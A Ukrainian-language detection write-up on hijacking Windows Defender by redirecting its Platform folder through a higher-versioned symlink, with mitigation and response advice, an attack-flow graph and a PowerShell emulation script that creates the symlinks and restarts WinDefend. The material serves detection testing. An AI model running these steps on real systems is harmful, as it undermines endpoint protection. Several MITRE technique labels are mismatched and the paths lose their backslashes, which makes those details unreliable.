Зламати Захисну Оболонку Windows Defender за Допомогою Техніки Перенаправлення Папок
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Стаття демонструє метод перехоплення Windows Defender, що використовує перенаправлення папки шляхом розміщення символічного посилання-директорії всередині шляху платформи Defender та спрямування його на розташування, котре контролює атакуючий. Призначивши папці символічного посилання вищий номер “версії”, ніж у легітимного каталогу платформи, Defender може вибрати шлях, що контролюється атакуючим, після перезавантаження та завантажити його компоненти звідти. Це створює можливості для динамічного стороннього завантаження DLL, вибіркового видалення файлів, або навіть порушення роботи служби Defender.
Розслідування
Робочий процес автора копіює активну папку платформи Defender у тимчасову директорію, підконтрольну атакуючому, а потім створює в платформі символічне посилання-директорію (за допомогою mklink /D), використовуючи сфабрикований ідентифікатор вищої версії. Після перезавантаження спостерігається виконання Defender з перенаправленої директорії, що дає змогу подальшим діям, таким як захоплення DLL або видалення виконуваних файлів для втручання у запуск і захист Defender.
Пом’якшення
Мінімізуйте ризик, суворо обмежуючи дозволи на запис у директорії платформи Windows Defender та контролюючи підозріле створення символічних посилань або несподіваних підкаталогів у стилі “версії”. Реалізуйте контроль цілісності для бінарних файлів Defender і створюйте сповіщення про зміни у шляху виконуваних файлів або вибір платформи-директорії. За можливості, застосовуйте контроль програми Windows Defender (WDAC) або еквівалентні політики посилення безпеки, щоб запобігти несанкціонованим змінам в захищених системних локаціях.
Реакція
Створіть сповіщення, коли з’являються нові символічні посилання під C:ProgramDataMicrosoftWindows DefenderPlatform або коли mklink використовується для цієї директорії. Перевірте цілісність файлів Defender та підтвердіть, що виконувані файли походять з очікуваної директорії платформи. Якщо втручання підтверджено, видаліть зловмисне символічне посилання та відновіть файли платформи Defender з надійного джерела, потім перезавантажте служби Defender та перевірте захист по всьому хосту.
graph TB %% Визначення класів classDef action fill:#99ccff classDef technique fill:#ffcc99 %% Вузли – Дії action_create_symlink[“<b>Дія</b> – Створення папки символічного посилання у Defender Platform<br/><b>Деталі</b>: Символічне посилання вказує на C:\\TMP\\AV з вищою версією”] class action_create_symlink action action_copy_binaries[“<b>Дія</b> – Копіювання оригінальних бінарних файлів Defender у директорію, контрольовану зловмисником”] class action_copy_binaries action action_place_malicious_dll[“<b>Дія</b> – Розміщення шкідливих DLL у скомпрометованій папці”] class action_place_malicious_dll action action_cleanup[“<b>Дія</b> – Видалення папки символічного посилання для приховування слідів”] class action_cleanup action %% Вузли – Техніки tech_T1574_009[“<b>Техніка</b> – T1574.009 Викрадення потоку виконання через COM (Component Object Model)<br/><b>Опис</b>: Зловживання реєстрацією COM, щоб легітимна служба завантажувала код, контрольований зловмисником”] class tech_T1574_009 technique tech_T1218[“<b>Техніка</b> – T1218 Виконання через підроблений підписаний бінарний файл<br/><b>Опис</b>: Використання довірених підписаних бінарних файлів для виконання шкідливого payload”] class tech_T1218 technique tech_T1055_001[“<b>Техніка</b> – T1055.001 Ін’єкція в процес: DLL Injection<br/><b>Опис</b>: Завантаження шкідливого DLL у адресний простір легітимного процесу”] class tech_T1055_001 technique tech_T1546_009[“<b>Техніка</b> – T1546.009 Виконання DLL через AppCert<br/><b>Опис</b>: Примушує систему завантажувати шкідливий DLL через механізми AppCert”] class tech_T1546_009 technique tech_T1070_004[“<b>Техніка</b> – T1070.004 Видалення файлів<br/><b>Опис</b>: Видалення файлів або директорій для приховування шкідливої активності”] class tech_T1070_004 technique tech_T1562[“<b>Техніка</b> – T1562 Порушення захисту<br/><b>Опис</b>: Порушення або вимкнення засобів та функцій безпеки”] class tech_T1562 technique %% Зв’язки action_create_symlink –>|використовує| tech_T1574_009 tech_T1574_009 –>|дозволяє| action_copy_binaries action_copy_binaries –>|використовує| tech_T1218 action_copy_binaries –>|підготовка до| action_place_malicious_dll action_place_malicious_dll –>|використовує| tech_T1055_001 action_place_malicious_dll –>|використовує| tech_T1546_009 action_place_malicious_dll –>|призводить до| action_cleanup action_cleanup –>|використовує| tech_T1070_004 tech_T1070_004 –>|призводить до| tech_T1562
Потік атаки
Імітаційне виконання
Передумова: Телеметрія та перевірка базових показників повинні бути успішними.
Обґрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), яке має на меті активувати правило виявлення. Команди та пояснення МАЮТЬ прямо відображати ідентифіковані TTPs та забезпечувати отримання тієї ж телеметрії, яка очікується засобами виявлення. Абстрактні або не пов’язані приклади призведуть до хибних діагнозів.
-
Опис нападу та команди:
Нападник скомпрометував обліковий запис користувача з низькими привілеями на цільовому хості. Їхня мета — завантажити зловмисне навантаження під час запуску Windows Defender шляхом перенаправлення папки “Platform” Defender у підконтрольне їм місце. Вони виконують наступні кроки:- Створити директорію для підготовки (
C:TMPAV) яка буде містити зловмисні DLL. - Заповнити директорію для підготовки створеним DLL з іменем
MpEngine.dll(ім’я, очікуване Defender). - Створити символічне посилання-директорію з назвою
C:ProgramDataMicrosoftWindows DefenderPlatform{random}що вказує на директорію для підготовки, використовуючи як нативну утилітуmklink(щоб активувати правило Sigma), так і PowerShellNew‑Item(для перевірки обхідного шляху). - Перезапустити сервіс Windows Defender для примусового завантаження з перехопленого шляху.
- Створити директорію для підготовки (
-
Скрипт повторного тестування:
# ============================== # Імітація перехоплення папки # ============================== $defenderPlatform = "C:ProgramDataMicrosoftWindows DefenderPlatform" $attackerStaging = "C:TMPAV" $linkName = "$defenderPlatformHijackTarget" # 1. Підготовка папки для підготовки New-Item -Path $attackerStaging -ItemType Directory -Force | Out-Null # 2. Додавання пробного шкідливого DLL (заповнювач) $dummyDll = "$attackerStagingMpEngine.dll" Set-Content -Path $dummyDll -Value "MALICIOUS DLL CONTENT" -Encoding ASCII # 3a. Створення символічного посилання через нативний mklink (активує правило Sigma) cmd /c "mklink /D `"$linkName`" `"$attackerStaging`"" # 3b. Створення символічного посилання через PowerShell (тестує обхідне правило) $psLink = "$defenderPlatformHijackTarget_PS" New-Item -ItemType SymbolicLink -Path $psLink -Target $attackerStaging -Force # 4. Перезапуск служби Windows Defender (вимагає прав адміністратора) # Примітка: Цей крок може бути заблокований у захищеному середовищі; включено для повноти. Restart-Service -Name "WinDefend" -Force -
Команди для очищення:
# Видалити створені символічні посилання та файли для підготовки $links = @( "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget", "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget_PS" ) foreach ($l in $links) { if (Test-Path $l) { Remove-Item $l -Force } } $staging = "C:TMPAV" if (Test-Path $staging) { Remove-Item $staging -Recurse -Force } # При необхідності відновити папку платформи Defender (не потрібно для симуляції)